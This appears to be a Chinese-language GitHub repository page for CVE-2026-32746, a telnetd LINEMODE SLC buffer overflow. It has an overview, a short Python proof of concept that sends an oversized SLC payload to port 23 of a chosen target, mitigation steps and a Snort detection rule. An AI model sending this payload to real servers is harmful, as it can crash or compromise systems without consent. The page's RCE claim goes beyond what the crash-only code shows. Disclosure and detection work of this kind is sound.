kaleth4/CVE-2026-32746
GitHub: kaleth4/CVE-2026-32746
针对 GNU Inetutils Telnetd 2.7 之前版本中 LINEMODE SLC 处理程序的越界写入漏洞(CVE-2026-32746)的概念验证利用代码,附带 IDS 检测规则与缓解建议。
Stars: 0 | Forks: 0
# 🚨 **CVE-2026-32746** GNU Inetutils Telnetd RCE
## 🔥 **📌 概述**
**严重漏洞** | **CVSS 9.8** | **远程代码执行!**
**影响范围:** `GNU Inetutils Telnetd (2.7 之前的版本)`
**类型:** **LINEMODE SLC** 子选项处理程序中的 **OOB Write**
**攻击向量:** **网络 (端口 23)** | **无需身份验证**
**影响:** **以 Telnetd 进程权限实现 RCE**
## 🎯 **📖 技术描述**
在 **GNU Inetutils** 的 `telnetd` 守护程序的 `add_slc` 函数中发现了一个 **越界写入缓冲区溢出**。此缺陷允许远程攻击者通过操纵 Telnet 协议的 **SLC (Set Local Characters)** 子选项来 **注入任意代码**。
### **🔍 关键细节**
- **易受攻击的函数:** `add_slc`(处理本地字符)。
- **根本原因:** 内部缓冲区 **缺乏边界验证**。
- **利用方式:** 大量发送恶意的 **LINEMODE SLC** 序列。
- **前提条件:** **无**(直接访问端口 23)。
## 🛠️ **💻 概念验证**
攻击者可以通过使内部缓冲区溢出的 **恶意 Telnet payload** 来利用此漏洞:
```
#!/usr/bin/env python3
import socket
import sys
# CVE-2026-32746 - LINEMODE SLC 溢出
# IAC SB LINEMODE SLC
- IAC SE
IAC = b'\xff'
SB = b'\xfa'
SE = b'\xf0'
LINEMODE = b'\x22'
SLC = b'\x03'
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
# 用于溢出 add_slc 的 Payload
malicious_slc = b"\x01\x03\x41" * 600 # Repetición de 600 veces
payload = IAC + SB + LINEMODE + SLC + malicious_slc + IAC + SE
print(f"[*] Enviando payload malicioso a {target}...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((target, 23))
s.sendall(payload)
print("[+] Payload entregado. Verificando caída del servicio/RCE...")
```
⚠️ **警告!** 此代码 **仅用于教育和研究目的**。未经授权在系统上使用是 **违法的**。
## 📊 **📈 风险指标 (CVSS 3.1)**
| **指标** | **值** | **描述** |
|-------------------|-----------------------------------|-----------------------------------------|
| **向量** | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | **远程,无需身份验证** |
| **评分** | **9.8 (严重)** 🔴 | **对机密性、完整性和可用性造成严重影响** |
| **发布日期** | 2026 年 3 月 13 日 | 最后修改:2026 年 5 月 5 日 |
## 🛡️ **🔒 缓解措施与解决方案**
### **🚀 立即解决方案**
✅ 将 **GNU Inetutils** **更新** 至 **已修复版本 (post-2.7)**。
### **⚡ 临时解决方案**
🔹 **禁用 `telnetd`** 并迁移至 **SSH**(推荐)。
🔹 在边界防火墙处 **阻止端口 23**。
🔹 **配置 IDS/IPS** 以检测异常的 **LINEMODE SLC** 序列。
### **🛡️ 其他安全配置**
- **Snort/Suricata 规则:**
alert tcp any any -> any 23 (msg:"CVE-2026-32746 - LINEMODE SLC Overflow"; content:"|FF FA 22 03|"; depth:5; threshold:type both, track by_src, count 1, seconds 1; sid:1000001; rev:1;)
- **
标签:0day, CISA项目, CVE-2026-32746, CVSS 9.8, Exploit, GNU Inetutils, Linemode SLC, Metaprompt, OOB Write, PoC, RCE, Telnet, Telnetd, 内存破坏, 内核驱动, 暴力破解, 未授权访问, 概念验证, 漏洞分析, 漏洞复现, 端口23, 缓冲区, 缓冲区溢出, 编程工具, 网络协议, 网络安全, 越界写入, 路径探测, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞